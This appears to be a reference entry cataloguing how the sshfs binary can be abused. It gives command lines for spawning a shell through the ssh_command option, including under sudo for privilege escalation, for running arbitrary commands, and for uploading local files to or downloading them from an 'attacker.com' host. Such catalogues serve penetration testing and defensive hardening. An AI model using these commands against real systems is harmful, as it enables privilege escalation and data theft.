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• Shell
• Command
• Upload
• Download

Shell

This executable can spawn an interactive system shell.

• Comment

  The mount dir must be writable by the invoking user.

  Unprivileged

  This function can be performed by any unprivileged user.

  echo -e '/bin/sh </dev/tty >/dev/tty 2>/dev/tty' >/path/to/temp-file
  chmod +x /path/to/temp-file
  sshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  echo -e '/bin/sh </dev/tty >/dev/tty 2>/dev/tty' >/path/to/temp-file
  chmod +x /path/to/temp-file
  sshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/

Command

This executable can run non-interactive system commands.

• Unprivileged

  This function can be performed by any unprivileged user.

  sshfs -o ssh_command=/path/to/command x: /path/to/dir/

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  sshfs -o ssh_command=/path/to/command x: /path/to/dir/

  Output

  The commands are executed but their output is hidden from the attacker.

Upload

This executable can upload local data.

• Unprivileged

  This function can be performed by any unprivileged user.

  sshfs user@attacker.com:/ /path/to/dir/
  cp /path/to/input-file /path/to/dir/

  Receiver

  An SSH server can be used on the attacker box to receive the data.

Download

This executable can download remote data.

• Unprivileged

  This function can be performed by any unprivileged user.

  sshfs user@attacker.com:/ /path/to/dir/
  cp /path/to/dir/path/to/input-file /path/to/output-file

  Sender

  An SSH server can be used on the attacker box to send the data.

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